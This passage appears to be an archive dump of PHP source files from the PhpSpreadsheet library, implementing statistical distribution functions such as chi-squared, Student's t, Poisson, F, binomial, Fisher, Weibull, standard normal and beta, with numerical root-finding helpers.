inverseLeftTail(mixed $probability, mixed $degrees): array|string|float { if (is_array($probability) || is_array($degrees)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $probability, $degrees); } try { $probability = DistributionValidations::validateProbability($probability); $degrees = DistributionValidations::validateInt($degrees); } catch (Exception $e) { return $e->getMessage(); } if ($degrees < 1) { return ExcelError::NAN(); } return self::inverseLeftTailCalculation($probability, $degrees); } /** * CHITEST. * * Uses the chi-square test to calculate the probability that the differences between two supplied data sets * (of observed and expected frequencies), are likely to be simply due to sampling error, * or if they are likely to be real. * * @param mixed $actual an array of observed frequencies * @param mixed $expected an array of expected frequencies */ public static function test(mixed $actual, mixed $expected): float|string { $rows = count($actual); $actual = Functions::flattenArray($actual); $expected = Functions::flattenArray($expected); $columns = intdiv(count($actual), $rows); $countActuals = count($actual); $countExpected = count($expected); if ($countActuals !== $countExpected || $countActuals === 1) { return ExcelError::NAN(); } $result = 0.0; for ($i = 0; $i < $countActuals; ++$i) { if ($expected[$i] == 0.0) { return ExcelError::DIV0(); } elseif ($expected[$i] < 0.0) { return ExcelError::NAN(); } $result += (($actual[$i] - $expected[$i]) ** 2) / $expected[$i]; } $degrees = self::degrees($rows, $columns); $result = Functions::scalar(self::distributionRightTail($result, $degrees)); return $result; } protected static function degrees(int $rows, int $columns): int { if ($rows === 1) { return $columns - 1; } elseif ($columns === 1) { return $rows - 1; } return ($columns - 1) * ($rows - 1); } private static function inverseLeftTailCalculation(float $probability, int $degrees): float { // bracket the root $min = 0; $sd = sqrt(2.0 * $degrees); $max = 2 * $sd; $s = -1; while ($s * self::pchisq($max, $degrees) > $probability * $s) { $min = $max; $max += 2 * $sd; } // Find root using bisection $chi2 = 0.5 * ($min + $max); while (($max - $min) > self::EPS * $chi2) { if ($s * self::pchisq($chi2, $degrees) > $probability * $s) { $min = $chi2; } else { $max = $chi2; } $chi2 = 0.5 * ($min + $max); } return $chi2; } private static function pchisq(float $chi2, int $degrees): float { return self::gammp($degrees, 0.5 * $chi2); } private static function gammp(int $n, float $x): float { if ($x < 0.5 * $n + 1) { return self::gser($n, $x); } return 1 - self::gcf($n, $x); } // Return the incomplete gamma function P(n/2,x) evaluated by // series representation. Algorithm from numerical recipe. // Assume that n is a positive integer and x>0, won't check arguments. // Relative error controlled by the eps parameter private static function gser(int $n, float $x): float { /** @var float $gln */ $gln = Gamma::ln($n / 2); $a = 0.5 * $n; $ap = $a; $sum = 1.0 / $a; $del = $sum; for ($i = 1; $i < 101; ++$i) { ++$ap; $del = $del * $x / $ap; $sum += $del; if ($del < $sum * self::EPS) { break; } } return $sum * exp(-$x + $a * log($x) - $gln); } // Return the incomplete gamma function Q(n/2,x) evaluated by // its continued fraction representation. Algorithm from numerical recipe. // Assume that n is a postive integer and x>0, won't check arguments. // Relative error controlled by the eps parameter private static function gcf(int $n, float $x): float { /** @var float $gln */ $gln = Gamma::ln($n / 2); $a = 0.5 * $n; $b = $x + 1 - $a; $fpmin = 1.e-300; $c = 1 / $fpmin; $d = 1 / $b; $h = $d; for ($i = 1; $i < 101; ++$i) { $an = -$i * ($i - $a); $b += 2; $d = $an * $d + $b; if (abs($d) < $fpmin) { $d = $fpmin; } $c = $b + $an / $c; if (abs($c) < $fpmin) { $c = $fpmin; } $d = 1 / $d; $del = $d * $c; $h = $h * $del; if (abs($del - 1) < self::EPS) { break; } } return $h * exp(-$x + $a * log($x) - $gln); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/StudentT.php000064400000011237151676714400027122 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class StudentT { use ArrayEnabled; /** * TDIST. * * Returns the probability of Student's T distribution. * * @param mixed $value Float value for the distribution * Or can be an array of values * @param mixed $degrees Integer value for degrees of freedom * Or can be an array of values * @param mixed $tails Integer value for the number of tails (1 or 2) * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $degrees, mixed $tails) { if (is_array($value) || is_array($degrees) || is_array($tails)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $degrees, $tails); } try { $value = DistributionValidations::validateFloat($value); $degrees = DistributionValidations::validateInt($degrees); $tails = DistributionValidations::validateInt($tails); } catch (Exception $e) { return $e->getMessage(); } if (($value < 0) || ($degrees < 1) || ($tails < 1) || ($tails > 2)) { return ExcelError::NAN(); } return self::calculateDistribution($value, $degrees, $tails); } /** * TINV. * * Returns the one-tailed probability of the chi-squared distribution. * * @param mixed $probability Float probability for the function * Or can be an array of values * @param mixed $degrees Integer value for degrees of freedom * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function inverse(mixed $probability, mixed $degrees) { if (is_array($probability) || is_array($degrees)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $probability, $degrees); } try { $probability = DistributionValidations::validateProbability($probability); $degrees = DistributionValidations::validateInt($degrees); } catch (Exception $e) { return $e->getMessage(); } if ($degrees <= 0) { return ExcelError::NAN(); } $callback = fn ($value) => self::distribution($value, $degrees, 2); $newtonRaphson = new NewtonRaphson($callback); return $newtonRaphson->execute($probability); } private static function calculateDistribution(float $value, int $degrees, int $tails): float { // tdist, which finds the probability that corresponds to a given value // of t with k degrees of freedom. This algorithm is translated from a // pascal function on p81 of "Statistical Computing in Pascal" by D // Cooke, A H Craven & G M Clark (1985: Edward Arnold (Pubs.) Ltd: // London). The above Pascal algorithm is itself a translation of the // fortran algoritm "AS 3" by B E Cooper of the Atlas Computer // Laboratory as reported in (among other places) "Applied Statistics // Algorithms", editied by P Griffiths and I D Hill (1985; Ellis // Horwood Ltd.; W. Sussex, England). $tterm = $degrees; $ttheta = atan2($value, sqrt($tterm)); $tc = cos($ttheta); $ts = sin($ttheta); if (($degrees % 2) === 1) { $ti = 3; $tterm = $tc; } else { $ti = 2; $tterm = 1; } $tsum = $tterm; while ($ti < $degrees) { $tterm *= $tc * $tc * ($ti - 1) / $ti; $tsum += $tterm; $ti += 2; } $tsum *= $ts; if (($degrees % 2) == 1) { $tsum = Functions::M_2DIVPI * ($tsum + $ttheta); } $tValue = 0.5 * (1 + $tsum); if ($tails == 1) { return 1 - abs($tValue); } return 1 - abs((1 - $tValue) - $tValue); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/Poisson.php000064400000004625151676714400027005 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig; class Poisson { use ArrayEnabled; /** * POISSON. * * Returns the Poisson distribution. A common application of the Poisson distribution * is predicting the number of events over a specific time, such as the number of * cars arriving at a toll plaza in 1 minute. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * @param mixed $mean Mean value as a float * Or can be an array of values * @param mixed $cumulative Boolean value indicating if we want the cdf (true) or the pdf (false) * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $mean, mixed $cumulative): array|string|float { if (is_array($value) || is_array($mean) || is_array($cumulative)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $mean, $cumulative); } try { $value = DistributionValidations::validateFloat($value); $mean = DistributionValidations::validateFloat($mean); $cumulative = DistributionValidations::validateBool($cumulative); } catch (Exception $e) { return $e->getMessage(); } if (($value < 0) || ($mean < 0)) { return ExcelError::NAN(); } if ($cumulative) { $summer = 0; $floor = floor($value); for ($i = 0; $i <= $floor; ++$i) { /** @var float $fact */ $fact = MathTrig\Factorial::fact($i); $summer += $mean ** $i / $fact; } return exp(0 - $mean) * $summer; } /** @var float $fact */ $fact = MathTrig\Factorial::fact($value); return (exp(0 - $mean) * $mean ** $value) / $fact; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/F.php000064400000005113151676714400025531 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class F { use ArrayEnabled; /** * F.DIST. * * Returns the F probability distribution. * You can use this function to determine whether two data sets have different degrees of diversity. * For example, you can examine the test scores of men and women entering high school, and determine * if the variability in the females is different from that found in the males. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * @param mixed $u The numerator degrees of freedom as an integer * Or can be an array of values * @param mixed $v The denominator degrees of freedom as an integer * Or can be an array of values * @param mixed $cumulative Boolean value indicating if we want the cdf (true) or the pdf (false) * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $u, mixed $v, mixed $cumulative): array|string|float { if (is_array($value) || is_array($u) || is_array($v) || is_array($cumulative)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $u, $v, $cumulative); } try { $value = DistributionValidations::validateFloat($value); $u = DistributionValidations::validateInt($u); $v = DistributionValidations::validateInt($v); $cumulative = DistributionValidations::validateBool($cumulative); } catch (Exception $e) { return $e->getMessage(); } if ($value < 0 || $u < 1 || $v < 1) { return ExcelError::NAN(); } if ($cumulative) { $adjustedValue = ($u * $value) / ($u * $value + $v); return Beta::incompleteBeta($adjustedValue, $u / 2, $v / 2); } return (Gamma::gammaValue(($v + $u) / 2) / (Gamma::gammaValue($u / 2) * Gamma::gammaValue($v / 2))) * (($u / $v) ** ($u / 2)) * (($value ** (($u - 2) / 2)) / ((1 + ($u / $v) * $value) ** (($u + $v) / 2))); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/Binomial.php000064400000023436151676714400027106 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig\Combinations; class Binomial { use ArrayEnabled; /** * BINOMDIST. * * Returns the individual term binomial distribution probability. Use BINOMDIST in problems with * a fixed number of tests or trials, when the outcomes of any trial are only success or failure, * when trials are independent, and when the probability of success is constant throughout the * experiment. For example, BINOMDIST can calculate the probability that two of the next three * babies born are male. * * @param mixed $value Integer number of successes in trials * Or can be an array of values * @param mixed $trials Integer umber of trials * Or can be an array of values * @param mixed $probability Probability of success on each trial as a float * Or can be an array of values * @param mixed $cumulative Boolean value indicating if we want the cdf (true) or the pdf (false) * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $trials, mixed $probability, mixed $cumulative) { if (is_array($value) || is_array($trials) || is_array($probability) || is_array($cumulative)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $trials, $probability, $cumulative); } try { $value = DistributionValidations::validateInt($value); $trials = DistributionValidations::validateInt($trials); $probability = DistributionValidations::validateProbability($probability); $cumulative = DistributionValidations::validateBool($cumulative); } catch (Exception $e) { return $e->getMessage(); } if (($value < 0) || ($value > $trials)) { return ExcelError::NAN(); } if ($cumulative) { return self::calculateCumulativeBinomial($value, $trials, $probability); } /** @var float $comb */ $comb = Combinations::withoutRepetition($trials, $value); return $comb * $probability ** $value * (1 - $probability) ** ($trials - $value); } /** * BINOM.DIST.RANGE. * * Returns returns the Binomial Distribution probability for the number of successes from a specified number * of trials falling into a specified range. * * @param mixed $trials Integer number of trials * Or can be an array of values * @param mixed $probability Probability of success on each trial as a float * Or can be an array of values * @param mixed $successes The integer number of successes in trials * Or can be an array of values * @param mixed $limit Upper limit for successes in trials as null, or an integer * If null, then this will indicate the same as the number of Successes * Or can be an array of values * * @return array|float|int|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function range(mixed $trials, mixed $probability, mixed $successes, mixed $limit = null): array|string|float|int { if (is_array($trials) || is_array($probability) || is_array($successes) || is_array($limit)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $trials, $probability, $successes, $limit); } $limit = $limit ?? $successes; try { $trials = DistributionValidations::validateInt($trials); $probability = DistributionValidations::validateProbability($probability); $successes = DistributionValidations::validateInt($successes); $limit = DistributionValidations::validateInt($limit); } catch (Exception $e) { return $e->getMessage(); } if (($successes < 0) || ($successes > $trials)) { return ExcelError::NAN(); } if (($limit < 0) || ($limit > $trials) || $limit < $successes) { return ExcelError::NAN(); } $summer = 0; for ($i = $successes; $i <= $limit; ++$i) { /** @var float $comb */ $comb = Combinations::withoutRepetition($trials, $i); $summer += $comb * $probability ** $i * (1 - $probability) ** ($trials - $i); } return $summer; } /** * NEGBINOMDIST. * * Returns the negative binomial distribution. NEGBINOMDIST returns the probability that * there will be number_f failures before the number_s-th success, when the constant * probability of a success is probability_s. This function is similar to the binomial * distribution, except that the number of successes is fixed, and the number of trials is * variable. Like the binomial, trials are assumed to be independent. * * @param mixed $failures Number of Failures as an integer * Or can be an array of values * @param mixed $successes Threshold number of Successes as an integer * Or can be an array of values * @param mixed $probability Probability of success on each trial as a float * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions * * TODO Add support for the cumulative flag not present for NEGBINOMDIST, but introduced for NEGBINOM.DIST * The cumulative default should be false to reflect the behaviour of NEGBINOMDIST */ public static function negative(mixed $failures, mixed $successes, mixed $probability): array|string|float { if (is_array($failures) || is_array($successes) || is_array($probability)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $failures, $successes, $probability); } try { $failures = DistributionValidations::validateInt($failures); $successes = DistributionValidations::validateInt($successes); $probability = DistributionValidations::validateProbability($probability); } catch (Exception $e) { return $e->getMessage(); } if (($failures < 0) || ($successes < 1)) { return ExcelError::NAN(); } if (Functions::getCompatibilityMode() == Functions::COMPATIBILITY_GNUMERIC) { if (($failures + $successes - 1) <= 0) { return ExcelError::NAN(); } } /** @var float $comb */ $comb = Combinations::withoutRepetition($failures + $successes - 1, $successes - 1); return $comb * ($probability ** $successes) * ((1 - $probability) ** $failures); } /** * BINOM.INV. * * Returns the smallest value for which the cumulative binomial distribution is greater * than or equal to a criterion value * * @param mixed $trials number of Bernoulli trials as an integer * Or can be an array of values * @param mixed $probability probability of a success on each trial as a float * Or can be an array of values * @param mixed $alpha criterion value as a float * Or can be an array of values * * @return array|int|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function inverse(mixed $trials, mixed $probability, mixed $alpha): array|string|int { if (is_array($trials) || is_array($probability) || is_array($alpha)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $trials, $probability, $alpha); } try { $trials = DistributionValidations::validateInt($trials); $probability = DistributionValidations::validateProbability($probability); $alpha = DistributionValidations::validateFloat($alpha); } catch (Exception $e) { return $e->getMessage(); } if ($trials < 0) { return ExcelError::NAN(); } elseif (($alpha < 0.0) || ($alpha > 1.0)) { return ExcelError::NAN(); } $successes = 0; while ($successes <= $trials) { $result = self::calculateCumulativeBinomial($successes, $trials, $probability); if ($result >= $alpha) { break; } ++$successes; } return $successes; } private static function calculateCumulativeBinomial(int $value, int $trials, float $probability): float|int { $summer = 0; for ($i = 0; $i <= $value; ++$i) { /** @var float $comb */ $comb = Combinations::withoutRepetition($trials, $i); $summer += $comb * $probability ** $i * (1 - $probability) ** ($trials - $i); } return $summer; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/Fisher.php000064400000004664151676714400026576 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Fisher { use ArrayEnabled; /** * FISHER. * * Returns the Fisher transformation at x. This transformation produces a function that * is normally distributed rather than skewed. Use this function to perform hypothesis * testing on the correlation coefficient. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value): array|string|float { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } try { DistributionValidations::validateFloat($value); } catch (Exception $e) { return $e->getMessage(); } if (($value <= -1) || ($value >= 1)) { return ExcelError::NAN(); } return 0.5 * log((1 + $value) / (1 - $value)); } /** * FISHERINV. * * Returns the inverse of the Fisher transformation. Use this transformation when * analyzing correlations between ranges or arrays of data. If y = FISHER(x), then * FISHERINV(y) = x. * * @param mixed $probability Float probability at which you want to evaluate the distribution * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function inverse(mixed $probability): array|string|float { if (is_array($probability)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $probability); } try { DistributionValidations::validateFloat($probability); } catch (Exception $e) { return $e->getMessage(); } return (exp(2 * $probability) - 1) / (exp(2 * $probability) + 1); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/Weibull.php000064400000004307151676714400026753 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Weibull { use ArrayEnabled; /** * WEIBULL. * * Returns the Weibull distribution. Use this distribution in reliability * analysis, such as calculating a device's mean time to failure. * * @param mixed $value Float value for the distribution * Or can be an array of values * @param mixed $alpha Float alpha Parameter * Or can be an array of values * @param mixed $beta Float beta Parameter * Or can be an array of values * @param mixed $cumulative Boolean value indicating if we want the cdf (true) or the pdf (false) * Or can be an array of values * * @return array|float|string (string if result is an error) * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $alpha, mixed $beta, mixed $cumulative): array|string|float { if (is_array($value) || is_array($alpha) || is_array($beta) || is_array($cumulative)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $alpha, $beta, $cumulative); } try { $value = DistributionValidations::validateFloat($value); $alpha = DistributionValidations::validateFloat($alpha); $beta = DistributionValidations::validateFloat($beta); $cumulative = DistributionValidations::validateBool($cumulative); } catch (Exception $e) { return $e->getMessage(); } if (($value < 0) || ($alpha <= 0) || ($beta <= 0)) { return ExcelError::NAN(); } if ($cumulative) { return 1 - exp(0 - ($value / $beta) ** $alpha); } return ($alpha / $beta ** $alpha) * $value ** ($alpha - 1) * exp(0 - ($value / $beta) ** $alpha); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/StandardNormal.php000064400000014174151676714400030264 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\Averages; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\StandardDeviations; class StandardNormal { use ArrayEnabled; /** * NORMSDIST. * * Returns the standard normal cumulative distribution function. The distribution has * a mean of 0 (zero) and a standard deviation of one. Use this function in place of a * table of standard normal curve areas. * * NOTE: We don't need to check for arrays to array-enable this function, because that is already * handled by the logic in Normal::distribution() * All we need to do is pass the value through as scalar or as array. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function cumulative(mixed $value) { return Normal::distribution($value, 0, 1, true); } /** * NORM.S.DIST. * * Returns the standard normal cumulative distribution function. The distribution has * a mean of 0 (zero) and a standard deviation of one. Use this function in place of a * table of standard normal curve areas. * * NOTE: We don't need to check for arrays to array-enable this function, because that is already * handled by the logic in Normal::distribution() * All we need to do is pass the value and cumulative through as scalar or as array. * * @param mixed $value Float value for which we want the probability * Or can be an array of values * @param mixed $cumulative Boolean value indicating if we want the cdf (true) or the pdf (false) * Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $cumulative) { return Normal::distribution($value, 0, 1, $cumulative); } /** * NORMSINV. * * Returns the inverse of the standard normal cumulative distribution * * @param mixed $value float probability for which we want the value * Or can be an array of values * * NOTE: We don't need to check for arrays to array-enable this function, because that is already * handled by the logic in Normal::inverse() * All we need to do is pass the value through as scalar or as array * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function inverse(mixed $value) { return Normal::inverse($value, 0, 1); } /** * GAUSS. * * Calculates the probability that a member of a standard normal population will fall between * the mean and z standard deviations from the mean. * * @param mixed $value Or can be an array of values * * @return array|float|string The result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function gauss(mixed $value): array|string|float { if (is_array($value)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $value); } if (!is_numeric($value)) { return ExcelError::VALUE(); } /** @var float $dist */ $dist = self::distribution($value, true); return $dist - 0.5; } /** * ZTEST. * * Returns the one-tailed P-value of a z-test. * * For a given hypothesized population mean, x, Z.TEST returns the probability that the sample mean would be * greater than the average of observations in the data set (array) — that is, the observed sample mean. * * @param mixed $dataSet The dataset should be an array of float values for the observations * @param mixed $m0 Alpha Parameter * Or can be an array of values * @param mixed $sigma A null or float value for the Beta (Standard Deviation) Parameter; * if null, we use the standard deviation of the dataset * Or can be an array of values * * @return array|float|string (string if result is an error) * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function zTest(mixed $dataSet, mixed $m0, mixed $sigma = null) { if (is_array($m0) || is_array($sigma)) { return self::evaluateArrayArgumentsSubsetFrom([self::class, __FUNCTION__], 1, $dataSet, $m0, $sigma); } $dataSet = Functions::flattenArrayIndexed($dataSet); if (!is_numeric($m0) || ($sigma !== null && !is_numeric($sigma))) { return ExcelError::VALUE(); } if ($sigma === null) { /** @var float $sigma */ $sigma = StandardDeviations::STDEV($dataSet); } $n = count($dataSet); $sub1 = Averages::average($dataSet); if (!is_numeric($sub1)) { return $sub1; } $temp = self::cumulative(($sub1 - $m0) / ($sigma / sqrt($n))); return 1 - (is_numeric($temp) ? $temp : 0); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/NewtonRaphson.php000064400000003244151676714400030154 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class NewtonRaphson { private const MAX_ITERATIONS = 256; /** @var callable */ protected $callback; public function __construct(callable $callback) { $this->callback = $callback; } public function execute(float $probability): string|int|float { $xLo = 100; $xHi = 0; $dx = 1; $x = $xNew = 1; $i = 0; while ((abs($dx) > Functions::PRECISION) && ($i++ < self::MAX_ITERATIONS)) { // Apply Newton-Raphson step $result = call_user_func($this->callback, $x); $error = $result - $probability; if ($error == 0.0) { $dx = 0; } elseif ($error < 0.0) { $xLo = $x; } else { $xHi = $x; } // Avoid division by zero if ($result != 0.0) { $dx = $error / $result; $xNew = $x - $dx; } // If the NR fails to converge (which for example may be the // case if the initial guess is too rough) we apply a bisection // step to determine a more narrow interval around the root. if (($xNew < $xLo) || ($xNew > $xHi) || ($result == 0.0)) { $xNew = ($xLo + $xHi) / 2; $dx = $xNew - $x; } $x = $xNew; } if ($i == self::MAX_ITERATIONS) { return ExcelError::NA(); } return $x; } } phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/DistributionValidations.php000064400000001173151676714400032144 0ustar00phpoffice<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Statistical\StatisticalValidations; class DistributionValidations extends StatisticalValidations { public static function validateProbability(mixed $probability): float { $probability = self::validateFloat($probability); if ($probability < 0.0 || $probability > 1.0) { throw new Exception(ExcelError::NAN()); } return $probability; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Statistical/Distributions/Beta.php000064400000022710151676714400026221 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Statistical\Distributions; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Beta { use ArrayEnabled; private const MAX_ITERATIONS = 256; private const LOG_GAMMA_X_MAX_VALUE = 2.55e305; private const XMININ = 2.23e-308; /** * BETADIST. * * Returns the beta distribution. * * @param mixed $value Float value at which you want to evaluate the distribution * Or can be an array of values * @param mixed $alpha Parameter to the distribution as a float * Or can be an array of values * @param mixed $beta Parameter to the distribution as a float * Or can be an array of values * @param mixed $rMin as an float * Or can be an array of values * @param mixed $rMax as an float * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function distribution(mixed $value, mixed $alpha, mixed $beta, mixed $rMin = 0.0, mixed $rMax = 1.0): array|string|float { if (is_array($value) || is_array($alpha) || is_array($beta) || is_array($rMin) || is_array($rMax)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $alpha, $beta, $rMin, $rMax); } $rMin = $rMin ?? 0.0; $rMax = $rMax ?? 1.0; try { $value = DistributionValidations::validateFloat($value); $alpha = DistributionValidations::validateFloat($alpha); $beta = DistributionValidations::validateFloat($beta); $rMax = DistributionValidations::validateFloat($rMax); $rMin = DistributionValidations::validateFloat($rMin); } catch (Exception $e) { return $e->getMessage(); } if ($rMin > $rMax) { $tmp = $rMin; $rMin = $rMax; $rMax = $tmp; } if (($value < $rMin) || ($value > $rMax) || ($alpha <= 0) || ($beta <= 0) || ($rMin == $rMax)) { return ExcelError::NAN(); } $value -= $rMin; $value /= ($rMax - $rMin); return self::incompleteBeta($value, $alpha, $beta); } /** * BETAINV. * * Returns the inverse of the Beta distribution. * * @param mixed $probability Float probability at which you want to evaluate the distribution * Or can be an array of values * @param mixed $alpha Parameter to the distribution as a float * Or can be an array of values * @param mixed $beta Parameter to the distribution as a float * Or can be an array of values * @param mixed $rMin Minimum value as a float * Or can be an array of values * @param mixed $rMax Maximum value as a float * Or can be an array of values * * @return array|float|string If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function inverse(mixed $probability, mixed $alpha, mixed $beta, mixed $rMin = 0.0, mixed $rMax = 1.0): array|string|float { if (is_array($probability) || is_array($alpha) || is_array($beta) || is_array($rMin) || is_array($rMax)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $probability, $alpha, $beta, $rMin, $rMax); } $rMin = $rMin ?? 0.0; $rMax = $rMax ?? 1.0; try { $probability = DistributionValidations::validateProbability($probability); $alpha = DistributionValidations::validateFloat($alpha); $beta = DistributionValidations::validateFloat($beta); $rMax = DistributionValidations::validateFloat($rMax); $rMin = DistributionValidations::validateFloat($rMin); } catch (Exception $e) { return $e->getMessage(); } if ($rMin > $rMax) { $tmp = $rMin; $rMin = $rMax; $rMax = $tmp; } if (($alpha <= 0) || ($beta <= 0) || ($rMin == $rMax) || ($probability <= 0.0)) { return ExcelError::NAN(); } return self::calculateInverse($probability, $alpha, $beta, $rMin, $rMax); } private static function calculateInverse(float $probability, float $alpha, float $beta, float $rMin, float $rMax): string|float { $a = 0; $b = 2; $guess = ($a + $b) / 2; $i = 0; while ((($b - $a) > Functions::PRECISION) && (++$i <= self::MAX_ITERATIONS)) { $guess = ($a + $b) / 2; $result = self::distribution($guess, $alpha, $beta); if (($result === $probability) || ($result === 0.0)) { $b = $a; } elseif ($result > $probability) { $b = $guess; } else { $a = $guess; } } if ($i === self::MAX_ITERATIONS) { return ExcelError::NA(); } return round($rMin + $guess * ($rMax - $rMin), 12); } /** * Incomplete beta function. * * @author Jaco van Kooten * @author Paul Meagher * * The computation is based on formulas from Numerical Recipes, Chapter 6.4 (W.H. Press et al, 1992). * * @param float $x require 0<=x<=1 * @param float $p require p>0 * @param float $q require q>0 * * @return float 0 if x<0, p<=0, q<=0 or p+q>2.55E305 and 1 if x>1 to avoid errors and over/underflow */ public static function incompleteBeta(float $x, float $p, float $q): float { if ($x <= 0.0) { return 0.0; } elseif ($x >= 1.0) { return 1.0; } elseif (($p <= 0.0) || ($q <= 0.0) || (($p + $q) > self::LOG_GAMMA_X_MAX_VALUE)) { return 0.0; } $beta_gam = exp((0 - self::logBeta($p, $q)) + $p * log($x) + $q * log(1.0 - $x)); if ($x < ($p + 1.0) / ($p + $q + 2.0)) { return $beta_gam * self::betaFraction($x, $p, $q) / $p; } return 1.0 - ($beta_gam * 